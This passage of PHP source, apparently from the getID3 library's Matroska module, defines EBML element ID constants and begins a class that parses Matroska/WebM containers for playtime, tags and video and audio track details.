define('EBML_ID_EDITIONFLAGDEFAULT',            0x05DB); //         [45][DB] -- If a flag is set (1) the edition should be used as the default one.
define('EBML_ID_EDITIONFLAGORDERED',            0x05DD); //         [45][DD] -- Specify if the chapters can be defined multiple times and the order to play them is enforced.
define('EBML_ID_FILEDATA',                      0x065C); //         [46][5C] -- The data of the file.
define('EBML_ID_FILEMIMETYPE',                  0x0660); //         [46][60] -- MIME type of the file.
define('EBML_ID_FILENAME',                      0x066E); //         [46][6E] -- Filename of the attached file.
define('EBML_ID_FILEREFERRAL',                  0x0675); //         [46][75] -- A binary value that a track/codec can refer to when the attachment is needed.
define('EBML_ID_FILEDESCRIPTION',               0x067E); //         [46][7E] -- A human-friendly name for the attached file.
define('EBML_ID_FILEUID',                       0x06AE); //         [46][AE] -- Unique ID representing the file, as random as possible.
define('EBML_ID_CONTENTENCALGO',                0x07E1); //         [47][E1] -- The encryption algorithm used. The value '0' means that the contents have not been encrypted but only signed. Predefined values:
define('EBML_ID_CONTENTENCKEYID',               0x07E2); //         [47][E2] -- For public key algorithms this is the ID of the public key the the data was encrypted with.
define('EBML_ID_CONTENTSIGNATURE',              0x07E3); //         [47][E3] -- A cryptographic signature of the contents.
define('EBML_ID_CONTENTSIGKEYID',               0x07E4); //         [47][E4] -- This is the ID of the private key the data was signed with.
define('EBML_ID_CONTENTSIGALGO',                0x07E5); //         [47][E5] -- The algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values:
define('EBML_ID_CONTENTSIGHASHALGO',            0x07E6); //         [47][E6] -- The hash algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values:
define('EBML_ID_MUXINGAPP',                     0x0D80); //         [4D][80] -- Muxing application or library ("libmatroska-0.4.3").
define('EBML_ID_SEEK',                          0x0DBB); //         [4D][BB] -- Contains a single seek entry to an EBML element.
define('EBML_ID_CONTENTENCODINGORDER',          0x1031); //         [50][31] -- Tells when this modification was used during encoding/muxing starting with 0 and counting upwards. The decoder/demuxer has to start with the highest order number it finds and work its way down. This value has to be unique over all ContentEncodingOrder elements in the segment.
define('EBML_ID_CONTENTENCODINGSCOPE',          0x1032); //         [50][32] -- A bit field that describes which elements have been modified in this way. Values (big endian) can be OR'ed. Possible values:
define('EBML_ID_CONTENTENCODINGTYPE',           0x1033); //         [50][33] -- A value describing what kind of transformation has been done. Possible values:
define('EBML_ID_CONTENTCOMPRESSION',            0x1034); //         [50][34] -- Settings describing the compression used. Must be present if the value of ContentEncodingType is 0 and absent otherwise. Each block must be decompressable even if no previous block is available in order not to prevent seeking.
define('EBML_ID_CONTENTENCRYPTION',             0x1035); //         [50][35] -- Settings describing the encryption used. Must be present if the value of ContentEncodingType is 1 and absent otherwise.
define('EBML_ID_CUEREFNUMBER',                  0x135F); //         [53][5F] -- Number of the referenced Block of Track X in the specified Cluster.
define('EBML_ID_NAME',                          0x136E); //         [53][6E] -- A human-readable track name.
define('EBML_ID_CUEBLOCKNUMBER',                0x1378); //         [53][78] -- Number of the Block in the specified Cluster.
define('EBML_ID_TRACKOFFSET',                   0x137F); //         [53][7F] -- A value to add to the Block's Timecode. This can be used to adjust the playback offset of a track.
define('EBML_ID_SEEKID',                        0x13AB); //         [53][AB] -- The binary ID corresponding to the element name.
define('EBML_ID_SEEKPOSITION',                  0x13AC); //         [53][AC] -- The position of the element in the segment in octets (0 = first level 1 element).
define('EBML_ID_STEREOMODE',                    0x13B8); //         [53][B8] -- Stereo-3D video mode.
define('EBML_ID_OLDSTEREOMODE',                 0x13B9); //         [53][B9] -- Bogus StereoMode value used in old versions of libmatroska. DO NOT USE. (0: mono, 1: right eye, 2: left eye, 3: both eyes).
define('EBML_ID_PIXELCROPBOTTOM',               0x14AA); //         [54][AA] -- The number of video pixels to remove at the bottom of the image (for HDTV content).
define('EBML_ID_DISPLAYWIDTH',                  0x14B0); //         [54][B0] -- Width of the video frames to display.
define('EBML_ID_DISPLAYUNIT',                   0x14B2); //         [54][B2] -- Type of the unit for DisplayWidth/Height (0: pixels, 1: centimeters, 2: inches).
define('EBML_ID_ASPECTRATIOTYPE',               0x14B3); //         [54][B3] -- Specify the possible modifications to the aspect ratio (0: free resizing, 1: keep aspect ratio, 2: fixed).
define('EBML_ID_DISPLAYHEIGHT',                 0x14BA); //         [54][BA] -- Height of the video frames to display.
define('EBML_ID_PIXELCROPTOP',                  0x14BB); //         [54][BB] -- The number of video pixels to remove at the top of the image.
define('EBML_ID_PIXELCROPLEFT',                 0x14CC); //         [54][CC] -- The number of video pixels to remove on the left of the image.
define('EBML_ID_PIXELCROPRIGHT',                0x14DD); //         [54][DD] -- The number of video pixels to remove on the right of the image.
define('EBML_ID_FLAGFORCED',                    0x15AA); //         [55][AA] -- Set if that track MUST be used during playback. There can be many forced track for a kind (audio, video or subs), the player should select the one which language matches the user preference or the default + forced track. Overlay MAY happen between a forced and non-forced track of the same kind.
define('EBML_ID_MAXBLOCKADDITIONID',            0x15EE); //         [55][EE] -- The maximum value of BlockAddID. A value 0 means there is no BlockAdditions for this track.
define('EBML_ID_WRITINGAPP',                    0x1741); //         [57][41] -- Writing application ("mkvmerge-0.3.3").
define('EBML_ID_CLUSTERSILENTTRACKS',           0x1854); //         [58][54] -- The list of tracks that are not used in that part of the stream. It is useful when using overlay tracks on seeking. Then you should decide what track to use.
define('EBML_ID_CLUSTERSILENTTRACKNUMBER',      0x18D7); //         [58][D7] -- One of the track number that are not used from now on in the stream. It could change later if not specified as silent in a further Cluster.
define('EBML_ID_ATTACHEDFILE',                  0x21A7); //         [61][A7] -- An attached file.
define('EBML_ID_CONTENTENCODING',               0x2240); //         [62][40] -- Settings for one content encoding like compression or encryption.
define('EBML_ID_BITDEPTH',                      0x2264); //         [62][64] -- Bits per sample, mostly used for PCM.
define('EBML_ID_CODECPRIVATE',                  0x23A2); //         [63][A2] -- Private data only known to the codec.
define('EBML_ID_TARGETS',                       0x23C0); //         [63][C0] -- Contain all UIDs where the specified meta data apply. It is void to describe everything in the segment.
define('EBML_ID_CHAPTERPHYSICALEQUIV',          0x23C3); //         [63][C3] -- Specify the physical equivalent of this ChapterAtom like "DVD" (60) or "SIDE" (50), see complete list of values.
define('EBML_ID_TAGCHAPTERUID',                 0x23C4); //         [63][C4] -- A unique ID to identify the Chapter(s) the tags belong to. If the value is 0 at this level, the tags apply to all chapters in the Segment.
define('EBML_ID_TAGTRACKUID',                   0x23C5); //         [63][C5] -- A unique ID to identify the Track(s) the tags belong to. If the value is 0 at this level, the tags apply to all tracks in the Segment.
define('EBML_ID_TAGATTACHMENTUID',              0x23C6); //         [63][C6] -- A unique ID to identify the Attachment(s) the tags belong to. If the value is 0 at this level, the tags apply to all the attachments in the Segment.
define('EBML_ID_TAGEDITIONUID',                 0x23C9); //         [63][C9] -- A unique ID to identify the EditionEntry(s) the tags belong to. If the value is 0 at this level, the tags apply to all editions in the Segment.
define('EBML_ID_TARGETTYPE',                    0x23CA); //         [63][CA] -- An informational string that can be used to display the logical level of the target like "ALBUM", "TRACK", "MOVIE", "CHAPTER", etc (see TargetType).
define('EBML_ID_TRACKTRANSLATE',                0x2624); //         [66][24] -- The track identification for the given Chapter Codec.
define('EBML_ID_TRACKTRANSLATETRACKID',         0x26A5); //         [66][A5] -- The binary value used to represent this track in the chapter codec data. The format depends on the ChapProcessCodecID used.
define('EBML_ID_TRACKTRANSLATECODEC',           0x26BF); //         [66][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu).
define('EBML_ID_TRACKTRANSLATEEDITIONUID',      0x26FC); //         [66][FC] -- Specify an edition UID on which this translation applies. When not specified, it means for all editions found in the segment.
define('EBML_ID_SIMPLETAG',                     0x27C8); //         [67][C8] -- Contains general information about the target.
define('EBML_ID_TARGETTYPEVALUE',               0x28CA); //         [68][CA] -- A number to indicate the logical level of the target (see TargetType).
define('EBML_ID_CHAPPROCESSCOMMAND',            0x2911); //         [69][11] -- Contains all the commands associated to the Atom.
define('EBML_ID_CHAPPROCESSTIME',               0x2922); //         [69][22] -- Defines when the process command should be handled (0: during the whole chapter, 1: before starting playback, 2: after playback of the chapter).
define('EBML_ID_CHAPTERTRANSLATE',              0x2924); //         [69][24] -- A tuple of corresponding ID used by chapter codecs to represent this segment.
define('EBML_ID_CHAPPROCESSDATA',               0x2933); //         [69][33] -- Contains the command information. The data should be interpreted depending on the ChapProcessCodecID value. For ChapProcessCodecID = 1, the data correspond to the binary DVD cell pre/post commands.
define('EBML_ID_CHAPPROCESS',                   0x2944); //         [69][44] -- Contains all the commands associated to the Atom.
define('EBML_ID_CHAPPROCESSCODECID',            0x2955); //         [69][55] -- Contains the type of the codec used for the processing. A value of 0 means native Matroska processing (to be defined), a value of 1 means the DVD command set is used. More codec IDs can be added later.
define('EBML_ID_CHAPTERTRANSLATEID',            0x29A5); //         [69][A5] -- The binary value used to represent this segment in the chapter codec data. The format depends on the ChapProcessCodecID used.
define('EBML_ID_CHAPTERTRANSLATECODEC',         0x29BF); //         [69][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu).
define('EBML_ID_CHAPTERTRANSLATEEDITIONUID',    0x29FC); //         [69][FC] -- Specify an edition UID on which this correspondance applies. When not specified, it means for all editions found in the segment.
define('EBML_ID_CONTENTENCODINGS',              0x2D80); //         [6D][80] -- Settings for several content encoding mechanisms like compression or encryption.
define('EBML_ID_MINCACHE',                      0x2DE7); //         [6D][E7] -- The minimum number of frames a player should be able to cache during playback. If set to 0, the reference pseudo-cache system is not used.
define('EBML_ID_MAXCACHE',                      0x2DF8); //         [6D][F8] -- The maximum cache size required to store referenced frames in and the current frame. 0 means no cache is needed.
define('EBML_ID_CHAPTERSEGMENTUID',             0x2E67); //         [6E][67] -- A segment to play in place of this chapter. Edition ChapterSegmentEditionUID should be used for this segment, otherwise no edition is used.
define('EBML_ID_CHAPTERSEGMENTEDITIONUID',      0x2EBC); //         [6E][BC] -- The edition to play from the segment linked in ChapterSegmentUID.
define('EBML_ID_TRACKOVERLAY',                  0x2FAB); //         [6F][AB] -- Specify that this track is an overlay track for the Track specified (in the u-integer). That means when this track has a gap (see SilentTracks) the overlay track should be used instead. The order of multiple TrackOverlay matters, the first one is the one that should be used. If not found it should be the second, etc.
define('EBML_ID_TAG',                           0x3373); //         [73][73] -- Element containing elements specific to Tracks/Chapters.
define('EBML_ID_SEGMENTFILENAME',               0x3384); //         [73][84] -- A filename corresponding to this segment.
define('EBML_ID_SEGMENTUID',                    0x33A4); //         [73][A4] -- A randomly generated unique ID to identify the current segment between many others (128 bits).
define('EBML_ID_CHAPTERUID',                    0x33C4); //         [73][C4] -- A unique ID to identify the Chapter.
define('EBML_ID_TRACKUID',                      0x33C5); //         [73][C5] -- A unique ID to identify the Track. This should be kept the same when making a direct stream copy of the Track to another file.
define('EBML_ID_ATTACHMENTLINK',                0x3446); //         [74][46] -- The UID of an attachment that is used by this codec.
define('EBML_ID_CLUSTERBLOCKADDITIONS',         0x35A1); //         [75][A1] -- Contain additional blocks to complete the main one. An EBML parser that has no knowledge of the Block structure could still see and use/skip these data.
define('EBML_ID_CHANNELPOSITIONS',              0x347B); //         [7D][7B] -- Table of horizontal angles for each successive channel, see appendix.
define('EBML_ID_OUTPUTSAMPLINGFREQUENCY',       0x38B5); //         [78][B5] -- Real output sampling frequency in Hz (used for SBR techniques).
define('EBML_ID_TITLE',                         0x3BA9); //         [7B][A9] -- General name of the segment.
define('EBML_ID_CHAPTERDISPLAY',                  0x00); //             [80] -- Contains all possible strings to use for the chapter display.
define('EBML_ID_TRACKTYPE',                       0x03); //             [83] -- A set of track types coded on 8 bits (1: video, 2: audio, 3: complex, 0x10: logo, 0x11: subtitle, 0x12: buttons, 0x20: control).
define('EBML_ID_CHAPSTRING',                      0x05); //             [85] -- Contains the string to use as the chapter atom.
define('EBML_ID_CODECID',                         0x06); //             [86] -- An ID corresponding to the codec, see the codec page for more info.
define('EBML_ID_FLAGDEFAULT',                     0x08); //             [88] -- Set if that track (audio, video or subs) SHOULD be used if no language found matches the user preference.
define('EBML_ID_CHAPTERTRACKNUMBER',              0x09); //             [89] -- UID of the Track to apply this chapter too. In the absense of a control track, choosing this chapter will select the listed Tracks and deselect unlisted tracks. Absense of this element indicates that the Chapter should be applied to any currently used Tracks.
define('EBML_ID_CLUSTERSLICES',                   0x0E); //             [8E] -- Contains slices description.
define('EBML_ID_CHAPTERTRACK',                    0x0F); //             [8F] -- List of tracks on which the chapter applies. If this element is not present, all tracks apply
define('EBML_ID_CHAPTERTIMESTART',                0x11); //             [91] -- Timecode of the start of Chapter (not scaled).
define('EBML_ID_CHAPTERTIMEEND',                  0x12); //             [92] -- Timecode of the end of Chapter (timecode excluded, not scaled).
define('EBML_ID_CUEREFTIME',                      0x16); //             [96] -- Timecode of the referenced Block.
define('EBML_ID_CUEREFCLUSTER',                   0x17); //             [97] -- Position of the Cluster containing the referenced Block.
define('EBML_ID_CHAPTERFLAGHIDDEN',               0x18); //             [98] -- If a chapter is hidden (1), it should not be available to the user interface (but still to Control Tracks).
define('EBML_ID_FLAGINTERLACED',                  0x1A); //             [9A] -- Set if the video is interlaced.
define('EBML_ID_CLUSTERBLOCKDURATION',            0x1B); //             [9B] -- The duration of the Block (based on TimecodeScale). This element is mandatory when DefaultDuration is set for the track. When not written and with no DefaultDuration, the value is assumed to be the difference between the timecode of this Block and the timecode of the next Block in "display" order (not coding order). This element can be useful at the end of a Track (as there is not other Block available), or when there is a break in a track like for subtitle tracks.
define('EBML_ID_FLAGLACING',                      0x1C); //             [9C] -- Set if the track may contain blocks using lacing.
define('EBML_ID_CHANNELS',                        0x1F); //             [9F] -- Numbers of channels in the track.
define('EBML_ID_CLUSTERBLOCKGROUP',               0x20); //             [A0] -- Basic container of information containing a single Block or BlockVirtual, and information specific to that Block/VirtualBlock.
define('EBML_ID_CLUSTERBLOCK',                    0x21); //             [A1] -- Block containing the actual data to be rendered and a timecode relative to the Cluster Timecode.
define('EBML_ID_CLUSTERBLOCKVIRTUAL',             0x22); //             [A2] -- A Block with no data. It must be stored in the stream at the place the real Block should be in display order.
define('EBML_ID_CLUSTERSIMPLEBLOCK',              0x23); //             [A3] -- Similar to Block but without all the extra information, mostly used to reduced overhead when no extra feature is needed.
define('EBML_ID_CLUSTERCODECSTATE',               0x24); //             [A4] -- The new codec state to use. Data interpretation is private to the codec. This information should always be referenced by a seek entry.
define('EBML_ID_CLUSTERBLOCKADDITIONAL',          0x25); //             [A5] -- Interpreted by the codec as it wishes (using the BlockAddID).
define('EBML_ID_CLUSTERBLOCKMORE',                0x26); //             [A6] -- Contain the BlockAdditional and some parameters.
define('EBML_ID_CLUSTERPOSITION',                 0x27); //             [A7] -- Position of the Cluster in the segment (0 in live broadcast streams). It might help to resynchronise offset on damaged streams.
define('EBML_ID_CODECDECODEALL',                  0x2A); //             [AA] -- The codec can decode potentially damaged data.
define('EBML_ID_CLUSTERPREVSIZE',                 0x2B); //             [AB] -- Size of the previous Cluster, in octets. Can be useful for backward playing.
define('EBML_ID_TRACKENTRY',                      0x2E); //             [AE] -- Describes a track with all elements.
define('EBML_ID_CLUSTERENCRYPTEDBLOCK',           0x2F); //             [AF] -- Similar to SimpleBlock but the data inside the Block are Transformed (encrypt and/or signed).
define('EBML_ID_PIXELWIDTH',                      0x30); //             [B0] -- Width of the encoded video frames in pixels.
define('EBML_ID_CUETIME',                         0x33); //             [B3] -- Absolute timecode according to the segment time base.
define('EBML_ID_SAMPLINGFREQUENCY',               0x35); //             [B5] -- Sampling frequency in Hz.
define('EBML_ID_CHAPTERATOM',                     0x36); //             [B6] -- Contains the atom information to use as the chapter atom (apply to all tracks).
define('EBML_ID_CUETRACKPOSITIONS',               0x37); //             [B7] -- Contain positions for different tracks corresponding to the timecode.
define('EBML_ID_FLAGENABLED',                     0x39); //             [B9] -- Set if the track is used.
define('EBML_ID_PIXELHEIGHT',                     0x3A); //             [BA] -- Height of the encoded video frames in pixels.
define('EBML_ID_CUEPOINT',                        0x3B); //             [BB] -- Contains all information relative to a seek point in the segment.
define('EBML_ID_CRC32',                           0x3F); //             [BF] -- The CRC is computed on all the data of the Master element it's in, regardless of its position. It's recommended to put the CRC value at the beggining of the Master element for easier reading. All level 1 elements should include a CRC-32.
define('EBML_ID_CLUSTERBLOCKADDITIONID',          0x4B); //             [CB] -- The ID of the BlockAdditional element (0 is the main Block).
define('EBML_ID_CLUSTERLACENUMBER',               0x4C); //             [CC] -- The reverse number of the frame in the lace (0 is the last frame, 1 is the next to last, etc). While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback.
define('EBML_ID_CLUSTERFRAMENUMBER',              0x4D); //             [CD] -- The number of the frame to generate from this lace with this delay (allow you to generate many frames from the same Block/Frame).
define('EBML_ID_CLUSTERDELAY',                    0x4E); //             [CE] -- The (scaled) delay to apply to the element.
define('EBML_ID_CLUSTERDURATION',                 0x4F); //             [CF] -- The (scaled) duration to apply to the element.
define('EBML_ID_TRACKNUMBER',                     0x57); //             [D7] -- The track number as used in the Block Header (using more than 127 tracks is not encouraged, though the design allows an unlimited number).
define('EBML_ID_CUEREFERENCE',                    0x5B); //             [DB] -- The Clusters containing the required referenced Blocks.
define('EBML_ID_VIDEO',                           0x60); //             [E0] -- Video settings.
define('EBML_ID_AUDIO',                           0x61); //             [E1] -- Audio settings.
define('EBML_ID_CLUSTERTIMESLICE',                0x68); //             [E8] -- Contains extra time information about the data contained in the Block. While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback.
define('EBML_ID_CUECODECSTATE',                   0x6A); //             [EA] -- The position of the Codec State corresponding to this Cue element. 0 means that the data is taken from the initial Track Entry.
define('EBML_ID_CUEREFCODECSTATE',                0x6B); //             [EB] -- The position of the Codec State corresponding to this referenced element. 0 means that the data is taken from the initial Track Entry.
define('EBML_ID_VOID',                            0x6C); //             [EC] -- Used to void damaged data, to avoid unexpected behaviors when using damaged data. The content is discarded. Also used to reserve space in a sub-element for later use.
define('EBML_ID_CLUSTERTIMECODE',                 0x67); //             [E7] -- Absolute timecode of the cluster (based on TimecodeScale).
define('EBML_ID_CLUSTERBLOCKADDID',               0x6E); //             [EE] -- An ID to identify the BlockAdditional level.
define('EBML_ID_CUECLUSTERPOSITION',              0x71); //             [F1] -- The position of the Cluster containing the required Block.
define('EBML_ID_CUETRACK',                        0x77); //             [F7] -- The track for which a position is given.
define('EBML_ID_CLUSTERREFERENCEPRIORITY',        0x7A); //             [FA] -- This frame is referenced and has the specified cache priority. In cache only a frame of the same or higher priority can replace this frame. A value of 0 means the frame is not referenced.
define('EBML_ID_CLUSTERREFERENCEBLOCK',           0x7B); //             [FB] -- Timecode of another frame used as a reference (ie: B or P frame). The timecode is relative to the block it's attached to.
define('EBML_ID_CLUSTERREFERENCEVIRTUAL',         0x7D); //             [FD] -- Relative position of the data that should be in position of the virtual block.


/**
* @tutorial http://www.matroska.org/technical/specs/index.html
*
* @todo Rewrite EBML parser to reduce it's size and honor default element values
* @todo After rewrite implement stream size calculation, that will provide additional useful info and enable AAC/FLAC audio bitrate detection
*/
class getid3_matroska extends getid3_handler
{
	// public options
	public static $hide_clusters    = true;  // if true, do not return information about CLUSTER chunks, since there's a lot of them and they're not usually useful [default: TRUE]
	public static $parse_whole_file = false; // true to parse the whole file, not only header [default: FALSE]

	// private parser settings/placeholders
	private $EBMLbuffer        = '';
	private $EBMLbuffer_offset = 0;
	private $EBMLbuffer_length = 0;
	private $current_offset    = 0;
	private $unuseful_elements = array(EBML_ID_CRC32, EBML_ID_VOID);

	public function Analyze()
	{
		$info = &$this->getid3->info;

		// parse container
		try {
			$this->parseEBML($info);
		} catch (Exception $e) {
			$this->error('EBML parser: '.$e->getMessage());
		}

		// calculate playtime
		if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) {
			foreach ($info['matroska']['info'] as $key => $infoarray) {
				if (isset($infoarray['Duration'])) {
					// TimecodeScale is how many nanoseconds each Duration unit is
					$info['playtime_seconds'] = $infoarray['Duration'] * ((isset($infoarray['TimecodeScale']) ? $infoarray['TimecodeScale'] : 1000000) / 1000000000);
					break;
				}
			}
		}

		// extract tags
		if (isset($info['matroska']['tags']) && is_array($info['matroska']['tags'])) {
			foreach ($info['matroska']['tags'] as $key => $infoarray) {
				$this->ExtractCommentsSimpleTag($infoarray);
			}
		}

		// process tracks
		if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) {
			foreach ($info['matroska']['tracks']['tracks'] as $key => $trackarray) {

				$track_info = array();
				$track_info['dataformat'] = self::CodecIDtoCommonName($trackarray['CodecID']);
				$track_info['default'] = (isset($trackarray['FlagDefault']) ? $trackarray['FlagDefault'] : true);
				if (isset($trackarray['Name'])) { $track_info['name'] = $trackarray['Name']; }

				switch ($trackarray['TrackType']) {

					case 1: // Video
						$track_info['resolution_x'] = $trackarray['PixelWidth'];
						$track_info['resolution_y'] = $trackarray['PixelHeight'];
						$track_info['display_unit'] = self::displayUnit(isset($trackarray['DisplayUnit']) ? $trackarray['DisplayUnit'] : 0);
						$track_info['display_x']    = (isset($trackarray['DisplayWidth']) ? $trackarray['DisplayWidth'] : $trackarray['PixelWidth']);
						$track_info['display_y']    = (isset($trackarray['DisplayHeight']) ? $trackarray['DisplayHeight'] : $trackarray['PixelHeight']);

						if (isset($trackarray['PixelCropBottom'])) { $track_info['crop_bottom'] = $trackarray['PixelCropBottom']; }
						if (isset($trackarray['PixelCropTop']))    { $track_info['crop_top']    = $trackarray['PixelCropTop']; }
						if (isset($trackarray['PixelCropLeft']))   { $track_info['crop_left']   = $trackarray['PixelCropLeft']; }
						if (isset($trackarray['PixelCropRight']))  { $track_info['crop_right']  = $trackarray['PixelCropRight']; }
						if (isset($trackarray['DefaultDuration'])) { $track_info['frame_rate']  = round(1000000000 / $trackarray['DefaultDuration'], 3); }
						if (isset($trackarray['CodecName']))       { $track_info['codec']       = $trackarray['CodecName']; }

						switch ($trackarray['CodecID']) {
							case 'V_MS/VFW/FOURCC':
								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);

								$parsed = getid3_riff::ParseBITMAPINFOHEADER($trackarray['CodecPrivate']);
								$track_info['codec'] = getid3_riff::fourccLookup($parsed['fourcc']);
								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed;
								break;

							/*case 'V_MPEG4/ISO/AVC':
								$h264['profile']    = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 1, 1));
								$h264['level']      = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 3, 1));
								$rn                 = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 4, 1));
								$h264['NALUlength'] = ($rn & 3) + 1;
								$rn                 = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 5, 1));
								$nsps               = ($rn & 31);
								$offset             = 6;
								for ($i = 0; $i < $nsps; $i ++) {
									$length        = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2));
									$h264['SPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length);
									$offset       += 2 + $length;
								}
								$npps               = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 1));
								$offset            += 1;
								for ($i = 0; $i < $npps; $i ++) {
									$length        = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2));
									$h264['PPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length);
									$offset       += 2 + $length;
								}
								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $h264;
								break;*/
						}

						$info['video']['streams'][] = $track_info;
						break;

					case 2: // Audio
						$track_info['sample_rate'] = (isset($trackarray['SamplingFrequency']) ? $trackarray['SamplingFrequency'] : 8000.0);
						$track_info['channels']    = (isset($trackarray['Channels']) ? $trackarray['Channels'] : 1);
						$track_info['language']    = (isset($trackarray['Language']) ? $trackarray['Language'] : 'eng');
						if (isset($trackarray['BitDepth']))  { $track_info['bits_per_sample'] = $trackarray['BitDepth']; }
						if (isset($trackarray['CodecName'])) { $track_info['codec']           = $trackarray['CodecName']; }

						switch ($trackarray['CodecID']) {
							case 'A_PCM/INT/LIT':
							case 'A_PCM/INT/BIG':
								$track_info['bitrate'] = $trackarray['SamplingFrequency'] * $trackarray['Channels'] * $trackarray['BitDepth'];
								break;

							case 'A_AC3':
							case 'A_EAC3':
							case 'A_DTS':
							case 'A_MPEG/L3':
							case 'A_MPEG/L2':
							case 'A_FLAC':
								$module_dataformat = ($track_info['dataformat'] == 'mp2' ? 'mp3' : ($track_info['dataformat'] == 'eac3' ? 'ac3' : $track_info['dataformat']));
								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.'.$module_dataformat.'.php', __FILE__, true);

								if (!isset($info['matroska']['track_data_offsets'][$trackarray['TrackNumber']])) {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because $info[matroska][track_data_offsets]['.$trackarray['TrackNumber'].'] not set');
									break;
								}

								// create temp instance
								$getid3_temp = new getID3();
								if ($track_info['dataformat'] != 'flac') {
									$getid3_temp->openfile($this->getid3->filename);
								}
								$getid3_temp->info['avdataoffset'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset'];
								if ($track_info['dataformat'][0] == 'm' || $track_info['dataformat'] == 'flac') {
									$getid3_temp->info['avdataend'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset'] + $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['length'];
								}

								// analyze
								$class = 'getid3_'.$module_dataformat;
								$header_data_key = $track_info['dataformat'][0] == 'm' ? 'mpeg' : $track_info['dataformat'];
								$getid3_audio = new $class($getid3_temp, __CLASS__);
								if ($track_info['dataformat'] == 'flac') {
									$getid3_audio->AnalyzeString($trackarray['CodecPrivate']);
								}
								else {
									$getid3_audio->Analyze();
								}
								if (!empty($getid3_temp->info[$header_data_key])) {
									$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info[$header_data_key];
									if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) {
										foreach ($getid3_temp->info['audio'] as $key => $value) {
											$track_info[$key] = $value;
										}
									}
								}
								else {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because '.$class.'::Analyze() failed at offset '.$getid3_temp->info['avdataoffset']);
								}

								// copy errors and warnings
								if (!empty($getid3_temp->info['error'])) {
									foreach ($getid3_temp->info['error'] as $newerror) {
										$this->warning($class.'() says: ['.$newerror.']');
									}
								}
								if (!empty($getid3_temp->info['warning'])) {
									foreach ($getid3_temp->info['warning'] as $newerror) {
										$this->warning($class.'() says: ['.$newerror.']');
									}
								}
								unset($getid3_temp, $getid3_audio);
								break;

							case 'A_AAC':
							case 'A_AAC/MPEG2/LC':
							case 'A_AAC/MPEG2/LC/SBR':
							case 'A_AAC/MPEG4/LC':
							case 'A_AAC/MPEG4/LC/SBR':
								$this->warning($trackarray['CodecID'].' audio data contains no header, audio/video bitrates can\'t be calculated');
								break;

							case 'A_VORBIS':
								if (!isset($trackarray['CodecPrivate'])) {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data not set');
									break;
								}
								$vorbis_offset = strpos($trackarray['CodecPrivate'], 'vorbis', 1);
								if ($vorbis_offset === false) {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data does not contain "vorbis" keyword');
									break;
								}
								$vorbis_offset -= 1;

								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true);

								// create temp instance
								$getid3_temp = new getID3();

								// analyze
								$getid3_ogg = new getid3_ogg($getid3_temp);
								$oggpageinfo['page_seqno'] = 0;
								$getid3_ogg->ParseVorbisPageHeader($trackarray['CodecPrivate'], $vorbis_offset, $oggpageinfo);
								if (!empty($getid3_temp->info['ogg'])) {
									$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info['ogg'];
									if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) {
										foreach ($getid3_temp->info['audio'] as $key => $value) {
											$track_info[$key] = $value;
										}
									}
								}

								// copy errors and warnings
								if (!empty($getid3_temp->info['error'])) {
									foreach ($getid3_temp->info['error'] as $newerror) {
										$this->warning('getid3_ogg() says: ['.$newerror.']');
									}
								}
								if (!empty($getid3_temp->info['warning'])) {
									foreach ($getid3_temp->info['warning'] as $newerror) {
										$this->warning('getid3_ogg() says: ['.$newerror.']');
									}
								}

								if (!empty($getid3_temp->info['ogg']['bitrate_nominal'])) {
									$track_info['bitrate'] = $getid3_temp->info['ogg']['bitrate_nominal'];
								}
								unset($getid3_temp, $getid3_ogg, $oggpageinfo, $vorbis_offset);
								break;

							case 'A_MS/ACM':
								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);

								$parsed = getid3_riff::parseWAVEFORMATex($trackarray['CodecPrivate']);
								foreach ($parsed as $key => $value) {
									if ($key != 'raw') {
										$track_info[$key] = $value;
									}
								}
								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed;
								break;

							default:
								$this->warning('Unhandled audio type "'.(isset($trackarray['CodecID']) ? $trackarray['CodecID'] : '').'"');
								break;
						}

						$info['audio']['streams'][] = $track_info;
						break;
				}
			}

			if (!empty($info['video']['streams'])) {
				$info['video'] = self::getDefaultStreamInfo($info['video']['streams']);
			}
			if (!empty($info['audio']['streams'])) {
				$info['audio'] = self::getDefaultStreamInfo($info['audio']['streams']);
			}
		}

		// process attachments
